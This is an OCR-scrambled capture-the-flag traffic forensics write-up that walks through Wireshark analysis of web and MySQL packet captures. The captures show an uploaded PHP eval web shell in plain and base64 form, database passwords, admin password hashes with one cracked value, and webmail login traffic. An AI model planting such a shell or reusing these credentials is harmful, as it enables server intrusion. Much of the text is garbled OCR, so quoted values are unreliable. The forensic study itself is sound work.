EF) REE) WEN) PG RO SA) Saf(S) BiIEy) FEwW) LR EEEH)

4Am 3@ RERe= stEEaaan

[ [nttp contains “Crphp @eval’| = v Hike o+
o, Time Source Destination FProtocel Length Info

@ 7 uebone posp 448 136029+ DT 0 0.08) oL gé%:‘nle.

i EE R A, A RIAEEE, HRE TR R tcpEALK R

, SEhttph BB, F R htto#e itcp it T B

M webone.peap - x
TR REE) WENV) REHG) BRCO) SN HiHE) BEY) FTEW) IRM  BEH)
Am 1@ RE Qea=s=F 8 =SaaqnE
(W [tep contains “C7php @eval” [X] B
o, Time Source Destination FProtocel Length Info
73.  5867.918. 192.168.94.59 192.168.32.189 TP
2 192.16 189

Frame 733793: 1514 bytes on wire (12112 bits), 1514 bytes captured (12112 bits)

Ethernet II, Src: Hangzhou_39:42:ed (b0:f9:63:39:42:ed), Dst: Vmware_cb:9f:85 (09:0c:29:cb:9F:85)
Internet Protocol Version 4, Src: 192.168.94.59, Dst: 192.168.32.189

Transmission Control Protocol, Src Port: 12716, Dst Port: 88, Seq: 5677, Ack: 1, Len: 1460

00 ©c 29 cb 9f 85 b0 f3 63 39 42 ed 08 0@ 45 0@
05 dc 19 ©d 40 00 7f B6 dc 5 c@ a8 Se 3b c@ a8

20 bd 31 ac 80 50 3b e7 f2 98 7a al 89 32 5@ 18 z--2P-
3 90 44 85 3d 00 V@ 6e 65 2d 68 65 69 67 68 74 3a -height:
A 32 30 30 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 t-family
5 3a e5 ae 8b e4 bd 93 3b 66 6f 6e 74 2d 73 69 7a ; font-siz
65 3a 31 36 70 78 3b 22 3e e6 94 af e3 80 81 e8 >
90 bd e5 ae 9e e6 8a a2 ed bf ae ed ba ba e5 91 RN
98 e8 bf 91 3c 2f 73 7@ 61 6e 3e 3c 73 70 61 6e an><span
20 73 74 79 6c 65 3d 22 6c 69 e 65 2d 68 65 69 Line-hei
67 68 74 3a 32 30 30 25 3b 66 6F Ge 74 2d 66 61 ;font-fa
6d 69 6c 79 3a 63 61 6c 69 62 72 69 3b 66 6F e ibri;fon
74 24 73 69 7a 65 3a 31 36 70 78 3b 22 3e 31 33 6px;">13
38 30 3c 2f 73 70 61 6e 3e 3c 73 70 61 be 20 73 >cspan s
74 79 6c 65 3d 22 6c 69 6e 65 2d 68 65 69 67 68 i ne-heigh
74 3a 32 30 30 25 3b 66 6F 6e 74 2d 66 61 6d 69 ont-fami
2 6c 79 3a e5 ae 8b ed bd 93 3b 66 6 Ge 74 2d 73 ;font-s . .
@@ etoncinen J3A: 16029 - OET: 2 0.08) I gl e

KIERE TER, B - MAREETCPH.

M Wireshark - {582 TCP 7 (tcp.stream eq 71839) - webone.pcap — O X

‘16px;“>.................................................................. I



</p>
<fdiv>
<p>

<br />
</p>

—————— WebKitFormBoundaryUIPbEBT1j473BL0O0
Content-Disposition: form-data; name="image"; filename="1.php"
Content-Type: application/octet-stream

<?php @eval($ POST[1234]);2>
—————— WebKitFormBoundaryUIPbEBT1j473BL0O0
Content-Disposition: form-data; name="keywords"

—————— WebKitFormBoundaryUIPbEBT1j473BL0O0
Content-Disposition: form-data; name="description”

------ WebKitFormBoundaryUIPbEBT1j473BL00
Content-Disposition: form-data; name="token"

fdcf8ebb
------ WebKitFormBoundaryUIPbEBT1j473BL00
Content-Disposition: form-data; name="image"

images/article/a.png
------ WebKitFormBoundaryUIPbEBT1j473BL00
Content-Disposition: form-data; name="id"

------ WebKitFormBoundaryUIPbEBT1j473BL00
Content-Disposition: form-data; name="submit"

v

5 &M A, 2 BEE HE 1 turn(s).

B7HE (10 k) v ETARTERN [ASCII v R

T | | BT
b 1TEN Save as T[] ekt ol o)) My

BEEH:
4N a.php
NEA:

<?php @eval($ POST[1234]);
WebKitFormBoundaryUIPbEBT1j473BL0O0O

Content-Disposition: form-data; name

W& Kbase4itg A :
PD9waHAQGV2YWwoI FOQTINUWZEYMzRAKTs /Pg==

5. ME7ZE 3K robots.txtH ¥ flag
RIEEEHRER, @I IEEFLIE.

M webone.pcap

X
M REE WEV) BEG BRO SRA) S BEY) BEW TRM EEHH)
Ama® Re=ssFrElEaaan
B -] #AE- |+
Destination Frotocol Length Infe -
+4B... 2920.911.. 192.168.94.59 192.168.32.189 HTTP 336 GET /robots.txt HTTP/1.1
© 54. 2922.603. 192.168.94.59 192.168.32.189 HTTP 383 GET /sitemap.xml.gz HTTP/1.1
| S4. 2922.603. 192.168.94.59 192.168.32.189 HTTP 380 GET /sitemap.xml HTTP/1.1
43. 3961.759.. 192.168.94.59 192.168.32.189 HTTP 393 GET /robots.txt HTTP/1.1
43 3961.798.. 192.168.94.59 192.168.32.189 HTTP 393 GET /robots.txt HTTP/1.1
43.  3961.808. 192.168.94.59 192.168.32.189 HTTP 363 GET http://192.168.32.189:88/robots.txt HTTP/1.1 I
43.  3961.817. 192.168.94.59 192.168.32.189 HTTP 348 GET http://192.168.32.189:88/robots.txt HTTP/1.1

64.  4456.563. 192.168.94.59 192.168.32.189  HTTP 294 GET /robots.txt HTTP/1.1
64 4461.291.182.168.94.59 2 5 4 [TCP Spurious R =

192.16:




Frame 4048: 336 bytes on wire (2688 bits), 336 bytes captured (2688 bits)

Ethernet II, Src: Hangzhou 39:42:ed (b@:9:63:39:42:ed), Dst: Vmware_cb:9f:85 (0@:@8c:29:cb:9F:85)

Internet Protocol Version 4, Src: 192.168.94.59, Dst: 192.168.32.189
Transmission Control Protocol, Src Port: 1138, Dst Port: 88, Seq: 1, Ack: 1, Len: 282

Hypertext Transfer Protocol

0060 8@ Bc 29 cb 9f 85 bd f9
01 42 6c 9a 48 0@ 7f 06

20 bd 04 72 0@ 50 9d d8

S0 90 44 38 da 00 00 47 45
40 73 2e 74 78 74 20 48 54
50 58 72 61 67 6d 61 3a 20
@d @a 43 61 63 68 65 2d

20 6e 6f 2d 63 61 63 68

20 31 39 32 2e 31 36 38

Ba 43 6f be be 65 63 74

7@ 2d 61 6c 69 76 65 @d

00 45 6e 63 6f 64 69 6e 67
9c0 85 66 6C 61 74 5 @d @a
940 6e 74 3a 20 4d ef 7a €9
0 28 57 69 6e 64 6f 77 73

63 39 42 ed 08 0@ 45 08
8d d2 c@ a8 5e 3b @ a8
5 73 bd 85 c@ b8 58 18
54 28 2f 72 6f 62 6f 74
54 58 2f 31 2e 31 @d @a
6e 6f 2d 63 61 63 68 65
43 6f 6e 74 72 6f 6¢ 3a
65 @d Ba 48 6f 73 74 3a
2e 33 32 2e 31 38 39 ed
69 6f 6e 3a 20 4b 65 65
Ba 41 63 63 65 70 74 2d
3a 20 67 7a 69 7@ 2c 64
55 73 65 72 2d 41 67 65
6¢ 6¢c 61 2f 35 2e 30 20
20 4e 54 20 36 2e 31 3b

PP 5P
D8---GE T /robot
s.txt HT TP/1.1
Pragma: no-cache
Cache- Control:
no-cach e--Host:
192.168 .32.189
Connect ion: Kee
p-alive- -Accept-
Encoding : gzip,d
eflate - User-Age
nt: Mozi 11a/5.@
(Windows NT 6.1;

f0 20 57 4f 57 36 34 29 20 41 70 70 6¢c 65 57 65 62 WoWe4) Appleleb
4b 69 74 2f 35 33 37 2e 32 31 20 28 4b 48 54 4d  Kit/537. 21 (KHTM

@ 7 wsbone pesp

348 Tae0z9 -

ESr: 17 (0.0%)

GO O T

BERE—MRERKTCP.

M Wireshark - 385 TCP 5% (tcp.stream eq 181) - webone.pcap - O =

GET /robots.txt HTTP/1.1

Pragma: no-cache

Cache-Control: no-cache

Host: 192.168.32.189

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.8 (Windows NT 6.1; WOW64) AppleblebKit/537.21 (KHTML,
like Gecko) Chrome/41.8.2228.8 Safari/537.21

Accept: */*

HTTP/1.1 288 OK

Date: Wed, 88 Aug 2018 @7:23:28 GMT

Server: Apache/2.2.15 (Cent0S)
Last-Modified: Fri, 25 Nov 2816 21:18:26 GMT
ETag: "1f8-11b-54226a9a98482"

Accept-Ranges: bytes

Content-Length: 283

Connection: close

Content-Type: text/plain; charset=UTF-8

User-agent: *
Disallow: Jfadmin/
Disallow: fcache/
Disallow: /fdata/
Disallow: /finclude/
Disallow: /finstall/
Disallow: flanguages/
Disallow: /m/include/
Disallow: /m/theme/
Disallow: /ftheme/
Disallow: fupgrade/
Disallow: /fcaptcha.php
flag:87b7cb79481F317bde98c116cf36084b

o AR, 1 AR A, 1 durn(s)
BATHE (833 bytes) v STARIEMEN A0 |

- | | [EsT—1 ]
i FTEN

Save as | | BE | |(CSBE @)ohfy G

J

MEBBHflagh: 87b7cb79481317bde98c116cF36084b
[E B A LA B T Hhttpxd R, 7ECAIS i #E Pk Frobots.ixt, BEEEE — AN SCHERAE TR



M Wireshark - S - HTTP FEFIE - o x

T E=E =il Foh iEE

4068  192.168.32.189 text/plain 283 bytes robots.txt
439045 evilhostjNLA... text/plain 283 bytes robots.txt
439135 192.168.32.1... text/plain 283 bytes robots.txt
439181 evilhostlvgd... text/plain 283 bytes robots.txt
439232 evilhostvb2f... text/plain 283 bytes robots.txt
847041 192.168.32.189 text/plain 283 bytes robots.txt

EZEJF_JEEE |robots.txt |
seve 1L | (SR @0y, G

7 robots.txt - iE=E = O X
M) RHE EI0) EZF(V) EEIH)
User-agent: *
Disallow: /admin/
Disallow: /cache/
Disallow: /data/
Disallow: /include/
Disallow: /install/
Disallow: /languages/
Disallow: /m/include/
Disallow: /m/theme/
Disallow: /theme/
Disallow: /upgrade/
Disallow: /captcha.php
flag:87b7ch79481f317bde90c116cf36084b

AR G lahree e
=145, B15 100%  Windows (CRLH L fgpnnny.G

6. RERBIMBEEED
RIE— LRI AK, BIEFEH MRRFH database « db . data %%, W LUBI LM T FHXR .

M webone.peap
ZHE EEE BN HEO) BEO SF@ Site) mEe BEw TEM 2EEH)

Am 3@ RE § @@=

[P Thetr. razponcs ccds=200 and http contains “datsbase

B o] st +




o Time Seurce Destination Frotocol Length Info

3~  6197.700. 192.168.32.189 192.168.94.59 HTTP. 1341 HTTP/1.1 200 OK (text/html)

Frame 734581: 1341 bytes on wire (10728 bits), 1341 bytes captured (10728 bits)

Ethernet II, Src: Vmware_cb:9f:85 (89:@c:29:cb:9f:85), Dst: Hangzhou_39:42:ed (b®:f9:63:39:42:ed)
Internet Protocol Version 4, Src: 192.168.32.189, Dst: 192.168.94.59

Transmission Control Protocol, Src Port: 80, Dst Port: 13342, Seq: 1, Ack: 621, Len: 1287
Hypertext Transfer Protocol

Line-based text data: text/html (42 lines)

b@ 9 63 39 42 ed 0@ OC 29 cb Of 85 88 60 45 0@ 98- )-- .- -E-
85 2f 24 09 40 80 40 86 11 77 c@ a8 20 bd c@ a8 /5@@ w

Se 3b 00 50 34 1e 54 €5 ab 9d c5 13 2a €2 50 18 A3 -PAT. ... .%.P.
00 7 05 6b 00 00 48 54 54 50 2f 31 Je 31 20 32 | k- -HT TP/1.1 2
30 30 20 4f 4b ©d 0a 44 61 74 65 3a 20 57 65 64 0 OK--D ate: lied
2c 20 30 38 20 41 75 67 20 32 30 31 38 20 30 38 , 08 Aug 2018 08
3a 3138 3a 30 352047 4d 54 @d @a 53 65 72 76 :18:05 G MT--Serv
65 72 3a 20 41 70 61 63 68 65 2f 32 2e 32 2e 31 er: Apac he/2.2.1
35 20 28 43 65 6e 74 4F 53 29 @d @a 58 2d 50 6f 5 (Cent0 S)-X-Po
77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 35 2  wered-By : PHP/S.
34 2e 34 35 0d 0a 43 6F Ge 74 65 6e 74 2d 4c 65 4.45--Co ntent-le
6e 67 74 68 3a 20 31 30 39 32 @d @a 43 6f 6e 6e  ngth: 18 92--Conn
65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 8d 0a 43  ection: close: C
6F 6e 74 65 6e 74 2d 54 79 70 65 32 20 74 65 78  ontent-T ype: tex
74 2f 68 74 6d 6C 3b 20 63 68 61 72 73 65 74 3d  t/html; charset=
55 54 46 2d 38 ©d @a @d 0a 2d 3e 7c 3¢ 3f 70 68 ->|<2ph
76 Ba 2f 2a 2a ©a 20 2a 20 44 6f 75 50 48 50 @a DouPHE -

@ 7 webone. posp

T IBERTCPL -

M Wireshark - 385 TCP 5% (tcp.stream eq 71823) - webone.peap

ceameenanaaaaahEtEp:f fenn. douco. com/license. html A
Author: DouCo
Release Date: 2015-86-18
*/
// database host
$dbhost = "18.3.3.1e1";
// database name
$dbname = "web";
// database username
$dbuser = "web";
// database password
$dbpass = "ebb7jUPVIJXHVEUV";
// table prefix
$prefix = "dou_";
// charset
define('DOU_CHARSET', "utf-8");
// administrator path
define("ADMIN PATH®,'admin');
// mobile path
define('M PATH",'m");
2
l<- v

I & a8, 1 S A48, 1 turn(s)

BT (1907 bytes) v ETAREEEEN aScI v ®

T |

| ET—1w]

B $TED Save az" E[E

CShikd @ of Fetwy, G

|| 4348: rae0ze -

B8T: 1 0.0%)

e P




BHKSHN: web

BHEN: e667jUPVIIXHVEUV

GE: FERAXA, BEME! 1 1)
BHIPHuER: 10.3.3.101

FE R R B4R FE b 3R 3 i hash_code

BT B R BN REEENRENE —1, BidE Awebtwolii EBAF.
MRHERE H Yesg 56 R A hash_code XA R FHEATILUE

7

M webtwo.pcap - X
O FEEO ARV FSG) BEO AR SO EEV FEwW) IR ®EE)

Aam i@ nBBRe>=F s 5/Eaqaan

" [http contains “hash_codel E At +
Fe. Time Sowrce Destination Protocel Length Info

OV D || 54 sow000 - 2R 0 (0.0%) CED

TBHAHRE. W8S hash_code RMEHEES XK, Bid EEEMEEENPHILRE 10.3.3.101, REBETIIE IPFER
BRI AR E .

M webtwo.peap - X
THE REE WEN) R0 BRO SFW SHS) BEY BEW IEM BEH)
Amz® HRE Res=F LIS Qaan
iy sre—10.3 3 101 B ) £t +
Tine Souree Destination Protosol Length Info -
20.000290 10.3.3.101 10.3.3.100 Tep 74 3386 > 38975 [SYN, ACK] Seq=d Ack=1 Win=14489 Len=p MSS=1460 SACK_PERM=1 TSval=683950418 TSecr=568845013 WS=128 _
40.001376 16.3.3.101 10.3.3.100 MySQL 144 Server Greeting proto=18 version=S.5.49 —
70.001843 10.3.3.101 10.3.3.100 TP 66 3306 + 38975 [ACK] Seq=79 Ack-84 Win-14592 Len-0 TSval-603950420 TSecr-68845015
80.001860 10.3.3.101 10.3.3.100 MySQL 77 Response 0K L
10 0.002287 16.3.3.101 10.3.3.100 MysQL 75 Response
12 0.002856 10.3.3.101 10.3.3.100 MySQL 77 Response 0K
14 0.003188  16.3.3.101 10.3.3.160 MySQL 77 Response 0K ]
16 0993569 16.3.3.101 10.3.3.100 MySQL 77 Response 0K ]
18 0.004348  10.3.3.101 10.3.3.160 MySQL 185 Response —
20 0.005674 16.3.3.101 10.3.3.160 MySQL 595 Response —

> Frame 2: 74 bytes on wire (592 bits), 74 bytes captured (592 bits)

> Ethernet II, Src: Vmuare_1d:96:01 (80:0c:29:1d:96:01), Dst: Vmuare_cb:9f:8f (80:0c:29:cb:9f:8f)
> Internet Protocol Version 4, Src: 10.3.3.181, Dst: 10.3.3.1080

s

90 Bc 29 cb 9f 8f @0 ©c 29 1d 96 @1 @8 00 45 00
00 3c 00 00 40 00 40 B6 1f ee Ba 03 03 65 Ba 03
093 64 Bc ea 98 3f 87 15 9e 05 65 af @ de a0 12
38 99 bl ©d 00 @0 ©2 @4 05 bd @4 02 08 @a 23 ff

24 €3 A4 1. 74 4T A1 A3 a3 a7




@ 7 uebtwo.poap

HHE — MR EHATIBERTCPHR .

M Wireshark - 882 TCP 5 (tcp.stream eq 0) - webtwo.pcap — O >
iz

5.5.49..... <3-5nTVRL GW™ "5/

({Utj8.mysql native password.0.......... B e e e e e web..K.a).&
UKL LELLH#EL L .mysgl natdve password. ... [....SET
character_set connection=utf8, character set results=utf8,

character_set client=binary................ SET

sql mode="".......... ... ... web........o.. 8....5ELECT value FROM "“dou_config”
WHERE name = 'hash_code’..... 7....def.web

dou_config

d1c829893dfA8cbBf47bcf8flc3clvac. . ..... “.8....5ELECT * FROM ~dou_admin”
lhere “user_id™ = ""..... 9....def.web  dou_admin .
dou_admin.user_id.user_id.?...... #B...=....def.uweb dou_admin
dou_admin user_name user_name.!........... 5....def.web dou_admin
dou_admin.email.email.!........... 3....def.web dou_admin
dou_admin.password.password.!.  ......... A....def.web dou_admin
dou_admin.action_list.action_list.!........... 3.-..def.web dou_admin
dou_admin.add_time.add_time.?........... ?....def.web dou_admin
dou_admin

last_login

last_login.?........... 9 .def.web dou_admin

§ESW A, FEEHF A4, 15 turnsl.

BATHE (1109 bytes) v STAMREAEN (501 | W
I | | EgT— ]
ERHR 4TED Save as BE | |CSLotd @ ohfstey, G

BiEtbxE B, BMhash codey: d1c829893df40cbofa7bcf8flc3cl7ac

8. BEEWRK S ijnu@test.com?E B () H 1L

|| $348: ss1809 + BHF: 256085 (a4.1%)

EE s ' e



MRYE R H REFI A 1jnu@test. com XA KRB FHATHHEHBEN .

M webtwo.pcap - x
TR EEE) WEV) HEE) WO SWA) SHE) mEY) EEW) LaM SEH)
AE 7@ TRB Re==FL S aaaw
N[ EASTdEeR ~ Colr> +
BEEE e vl = =) | [ijru@eest con
o Tine Source Destination  Protocol Length Info 3
1145.. 2987. 10.3.3.100 10.3.3.101 MySQL 126 Request Query
2987. 10.3.3.101 10.3.3.100 MySQL 185 Response
2987. 10.3.3.160 10.3.3.101 MySQL 97 Request Query
2987. 10.3.3.101 10.3.3.100 MySQL 2606 Response
2987. 10.3.3.100 10.3.3.101 TCP 66 41491 ~ 3306 [ACK] Seq-305 Ack-2791 Win=17536 Len-8 TSval-71832220 TSecr-6@6937620
2987. 10.3.3.100 10.3.3.101 MySQL 145 Request Query
2987. 10.3.3.101 10.3.3.100 MySQL 492 Response
2987. 10.3.3.100 10.3.3.101 MySQL 145 Request Query
2987. 10.3.3.101 10.3.3.100 MySQL 492 Response
a 2987. 10.3.3.100 10.3.3.101 MySQL 160 Request Query
2987. 10.3.3.101 10.3.3.100 MySQL 1516 Response v
text: 20 "

text: @
text:

Packet

v MySQL Protocol

Packet Length: 88
Number: 17
19

text: \357\277\275\357\277\275\357\277\275\357\277\275\357\277\275\357\277\275
text: meirenleftest.com
text: fe@4cSdede93beld6l43c3clalefbfla
text: ADMIN
text: 1538779767

text: \357\277\275\357\277\275\357\277\275\357\277\275\357\277\275\357\277\275\357\277\275\357\277\275\357\277\275
text: ijnu@test.com

CEELAF 00 00 14 02 31 36 06

e5 be 99 e6 b4 8b of 7§

text: b78f5aa6e168687def6e839121a22ec

text: ADMIN

text: 1530779719 .
93 5 bd a4 0d 69 6a Ge 75 40 74 65 73 74 2¢ - - ij nugtest. D
6F 6d 20 62 37 38 66 35 61 61 36 65 31 36 30 com b78F Saabel6d
66 30 37 64 65 66 36 65 38 33 39 31 32 31 61  6f07def6 e839121a
326563 05 41 44 4d 49 de @a 31 35 33 30 37  22ec-ADM IN 15307
393731390130 00 50 @0 @0 12 02 31 38 @9  79719-8- P----18-
bc aB e5 98 89 5 80 aa 8d 68 6 6c 6F 40 74 oo o holo@t
73 74 2¢ 63 6F 6d 20 38 36 65 39 38 30 63 66 est.com B6e980CF
6533 30 36 34 31 65 39 65 30 39 30 31 66 65  7e3064le 9e@9R1fe
3534 35 66 34 30 32 05 41 44 4d 49 de 8a 31 4545402 ADMIN-1
3330 37 37 39 36 38 39 1 30 00 50 0@ 89 13 53077968 9-0-P-
313709 e6 b2 88 ed bd b3 ed b8 bd Bd 73 6F  A7--- - oo so
6c 40 74 65 73 74 2e 63 6f 6d 20 39 63 30 64  ol@test. com 9cOd
38 36 33 64 37 38 30 63 36 64 39 39 30 62 36  b863d780 C6d9IIVbE
66 63 61 32 39 63 64 64 35 62 61 05 41 44 4d  5fca29cd dSba-ADM

49 4e 0a 31 35 33 30 37 37 39 36 32 37 @1 30 0@  IN 15307 79627-0-

@ 7 Field: row packet text (nysal.rom. text), 13

|| 48: seto09 - 287 91809 (100.0%)

B X RS W] BRI MDS NI 1, ST RN E D& :  b78f5aa6e1606F07def6e839121a22ec
Bt M _E MDD 5/ 2%

mds

edc123l@#

B 519 S L ) G A2 -
9. REH i Hywebfik 5525 19 M K Bc E MM K A M IP

HINILR3

b78f5aabe1606f07def6e839121a22ec

edc123!@#

CISHIMDS

CSDN @Johnny.G

e P

SeE Blwebone pcapii EGBATE W, BIFE—LRIFHELLK, MREERRETE etho v ens33 %, AL HIE KB KT
Fe 2 etho ©

M webone.peap
STl SREE)
du ®

WEV)  BeE(G)

TRE R e

RO

SHTA)
=

Feit(s)

T 8E

EEY) FEw) TEM #EH)
aQaaam

[ Thttp contains “ethd”




o Time Source
7128.. 4913.432. 192.168...
+7347... 6292.403.. 192.168...
7348.. 6338.217.. 192.168...

Destination Frotocol Length Info

249 HTTP/1.1 200 OK (text/html)
249 HTTP/1.1 200 OK (text/html)

324 [TCP ACKed unseen segment] [TCP Previous segment not captured] GET /etc/sysconfig/network-scripts/ifcfg-eth® HTTR/1.1

Frame 734798: 249 bytes on wire (1992 bits), 249 bytes captured (1992 bits)
Ethernet II, Src: Vmuare cb:9f:85 (0:@c:29:cb:9:85), Dst: Hangzhou 39:42:ed (b@:9:63:39:42:ed)
Internet Protocol Version 4, Src: 192.168.32.189, Dst: 192.168.94.59
Transmission Control Protocol, Src Port: 89, Dst Port: 13523, Seq: 1461, Ack: 863, Len: 195
[2 Reassembled TCP Segments (1655 bytes): #734789(146@), #734790(195)]
Hypertext Transfer Protocol
v Line-based text data: text/html (31 lines)
->|ethe Link encap:Ethernet HWaddr 89:6C:29:CB:9F:85 \n
inet addr:192.168.32.189 Bcast:192.168.32.255 Mask:255.255.255.0\n
inet6 addr: feB::20c:29FF: fecb:9F85/64 Scope:link\n
UP BROADCAST RUNNING MULTICAST MTU:1508 Metric:1\n
RX packets:1599838 errors:@ dropped:@ overruns:@ frame:@\n
TX packets:2032856 errors:@ dropped:@ overruns:@ carrier:@\n
collisions:@ txqueuelen:1068 \n
RX bytes:476426339 (454.3 MiB) TX bytes:1641835478 (993.5 MiB)\n

65 72 72 6F 72 73 32 38
3a 30 20 6f 76 65 72 72
72 72 69 65 72 3a 30 @a
20 20 63 6f 6c 6c 69 73
78 71 75 65 75 65 6C 65
20 20 20 20 20 20 20 52
32 31 35 38 38 32 20 28
42 29 28 28 54 58 28 62
30 38 32 20 28 32 31 3@
©8a 5b 53 5d Ba 2f 76 61
6d 6c 2f 69 6d 61 67 65

20 64 72 6f 70 70 65 64
75 6e 73 3a 30 20 63 61
20 20 20 20 20 20 20 20
69 6f 6e 73 3a 30 20 74
6e 3a 30 20 0a 20 20 20
58 20 62 79 74 65 73 3a
32 31 38 2e 308 20 4b 69
79 74 65 73 3a 32 31 35
2e 30 20 4b 69 42 29 Ba
72 2F 77 77 77 2f 68 74
73 2f 61 72 74 69 63 6c

\n
ethl Link encap:Ethernet HWaddr 00:0C:29:CB:9F:8F \n
inet addr:1A.3.3.1AA Rcast:1A.3.3.255 Mask:255.255.255.M\n
© b@ f3 63 38 42 ed 00 Oc 29 cb 9f 85 08 00 45 80 - -c9B. - )- oo E-
©0 eb 71 37 40 00 40 06 8 8c @ a8 20 bd @ a8 - -q7@ @ - -
Se 3b 00 50 34 d3 51 1d 67 @e 86 73 25 14 58 18  *;-P4-Q- g-s¥ P
00 85 01 27 00 00 6b 65 74 73 32 32 30 36 36 20 - - ke ts:2066

errors:@ dropped
:8 overr uns:® ca
rrier:@-
collis ions:@ t
xqueuele n:@ -
R X bytes:
215082 ( 210.8 Ki
B) TX b ytes:215
082 (218 .0 KiB)-
[S]-/va rfuaa/ht
ml/image s/articl

v

Frans (249 bytes) | Keassenbled TCF (1655 bytes)
@ 7 webone poap

i EEATBES, RETIINERNRE, EHRSS|EENRE CGENE=1RE) , #HITHRETCPH.

M Wireshark - J58 TCP % (tcp.stream eq 71902) - webone.peap

O x

Server: Apache/2.2.15 (Cent0S)
X-Powered-By: PHP/5.4.45
Content-Length: 1468
Connection: close
Content-Type: text/html; charset=UTF-8
-»|eth@ Link encap:Ethernet HiWaddr B0:8C:29:CB:9F:85
inet addr:192.168.32.189 Bcast:192.168.32.255 Mask:
255.255.255.0
inet6 addr: fe8@::28c:29ff:fecb:9f85/64 Scope:lLink
UP BROADCAST RUNNING MULTICAST MTU:158@ Metric:1

collisions:@ txqueuelen:1888

ethl Link encap:Ethernet HiWaddr B0:0C:29:CB:9F:8F

inet6 addr: fe8@::28c:29ff:fecb:9f8f/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1588 Metric:1

collisions:@ txqueuelen:1888

lo Link encap:local Loopback
inet addr:127.8.8.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:2066 errors:@ dropped:@ overruns:8 frame:@

collisions:@ txqueuelen:@

[s]
fvar /v /him] fimases farticle

RX packets:1599838 errors:@ dropped:@ overruns:8 frame:8
TX packets:2832856 errors:@ dropped:@ overruns:@ carrier:@

RX bytes:476426339 (454.3 MiB) TX bytes:1841835478 (993.5 MiB)
inet addr:108.3.3.180 Bcast:18.3.3.255 Mask:255.255.255.8
RX packets:1174416 errors:@ dropped:@ overruns:8 frame:8

TX packets:1832282 errors:@ dropped:@ overruns:@ carrier:@

RX bytes:832835972 (794.2 MiB) TX bytes:102428452 (97.6 MiB)

TX packets:2866 errors:0 dropped:@ overruns:@ carrier:@

RX bytes:215082 (210.8 KiB) TX bytes:215882 (210.8 KiB)

2 ESH A8, 2 FEF H48, 1 turn(s).

BATE (2517 bytes) v TTA0RTEELE) | ASCIT

=H |

| [EET— ]

IR FTER Save as' EE

CShikd @ o Fetwy, Ci

|| 448 r36029 -

BT 3 (0.o%)

CSDN @Jof .G
B




B FRABHE=EANERSESE, @, —HEEXIP 192.168.94.59 B B HE B KIH ZIP 192.168.32.189 ,
EWLIPANANNIP, T ethe BRI E, H4h 1o N EHLAE, XANKEKERENIE, FroAR® TH etht AWM,
M 10.3.3.100 R AMIP T .

10. EXEM T mallRZ I EH K-S MEL (B : username/password)

RE—BHXmil, HEBEESR, TELSZASBEHNHEINER mail HRES.
WIS ER, REMH mail EAREFHITIIE: BINERTEmalZEFRBETRARETK, —BRXKSMELRNT &
i, #RMEH posT KT

ttp.request.method==P0S ttp contains

A

M maittwo.pesp - X
) REE) WENV) PG BRO) AW St EEY) JBEw) TEM  BEH)

Am 7@ RE Rex2=F 85 ?Qa &

[ [http. request. nethod—FOST i http contains “mail” XIS R
o Tine Source Destination  Protocol Length Info

- 217 31.094931 192.168... 192.168... HTTP 945 POST /webmail/index.php?module=operategaction=login&web=1 HTTP/1.1 (application/x-wmi-form-urlencoded)

H 772 75.963251 192.

192. 825 POST /webmail/index. php2modul gingueb=1 HTTP/1.1 (application/x-wmmi-form-urlencoded)

peratedactio

3140 372.800302 192. 192. 852 POST /webmail/index.php?module=operate&action=login&web=1 HTTP/1.1 (application/x-wm-form-urlencoded)
3151 373.837428 192. 192. 724 POST /webmail/index.php?module=operate&action=login&web=1 HTTP/1.1 (application/x-wmi-form-urlencoded)
3969 404.111975 192. 192. 1547 POST /webmail/module/mail/index.php?module-operategaction-mail-save HTTP/1.1
4833 486.853919 192. 192. 825 POST /webmail/index.php?module=operate&action=login&web=1 HTTP/1.1 (application/x-wm-form-urlencoded)
4553 424517858 192. 192. 646 POST /webmail/module/mail/index.php?module=operate&action=mail-save HTTP/1.1
4660 432.616410 192. 192 583 POST /webmail/module/mail/index.php?module=cperatedactiol il-send HTTP/1.1

4957 478.920349 192.
506@ 478.115041 192.
5786 533.728319 192.

1123 POST fwebmail/module/mail/index. php2module-operateBaction-mail-send HTTP/1.1
716 POST /webmail/index.php?module=operategaction=login&web=1 HTTP/1.1 (application/x-wmi-form-urlencoded)
1111 POST fwebmail/module/mail/index. php2module=operategaction=mail-send HTTP/1.1

Frame 217: 945 bytes on wire (7560 bits), 945 bytes captured (7560 bits)
Ethernet II, Src: Hangzhou_39:42:ed (b@:f9:63:39:42:ed), Dst: Vmware_2d:e4:66 (00:0C:29:2d:e4:66)
Internet Protocol Version 4, Src: 192.168.94.131, Dst: 192.168.32.187
Transmission Control Protocol, Src Port: 55953, Dst Port: 80, Seq: 592, Ack: 320, Len: 891
Hypertext Transfer Protocol

v HTML Form URL Encoded: application/x-www-form-urlencoded

Form item: ™
Form item

Form item: "password” - "3oUuaEG4ux6xKD3RZ1iSew-="
Form item: "language” = “zh CN"

Form item: “remuser’

Form item: “enter” = "true”

6c 29 2d ed 66 b0 79 63 39 42 ed 08 00 45 00
2364 2 46 00 77 [l§ 92 d3 <0 a8 5e 83 O a8 .
bb da 91 06 56 4c 96 8b 83 1c @3 99 5 50 18 S
48 69 ad 00 00 50 4F 53 54 20 2f 77 65 62 6d ST uebm
69 6c 2f 69 be 64 65 78 2e 70 68 70 3f 6d 6f  ail/inde x.phpimo
75 6c 65 3d 6F 70 65 72 61 74 65 26 61 63 74  dule=ope ratedact
6f 6e 3d 6c 6F 67 69 Ge 26 77 65 62 3d 31 20 ion=logi
5454 50 2f 31 2e 31 0d Pa 48 67 73 74 3a 20 HTTP/L.1 .-
3932 2e 31 36 38 2¢ 33 32 2¢ 31 38 37 0d 0a  192.165.
6f 6 6 65 63 74 69 6f Ge 3a 20 6b 65 65 70 Connecti on: keep
61 6c 69 76 65 0d @a 43 6F Ge 74 65 6e 74 2d  -alive.- Content-
65 6e 67 74 68 3a 20 31 30 37 d 0a 43 61 63  Length: 107.-Cac
65 2d 43 6 6e 74 72 6F 6c 3a 20 6d 61 78 2d  he-Contr ol max-
67 65 3d 30 0d @a 4F 72 69 67 69 6e 3a 20 68 rigin: h
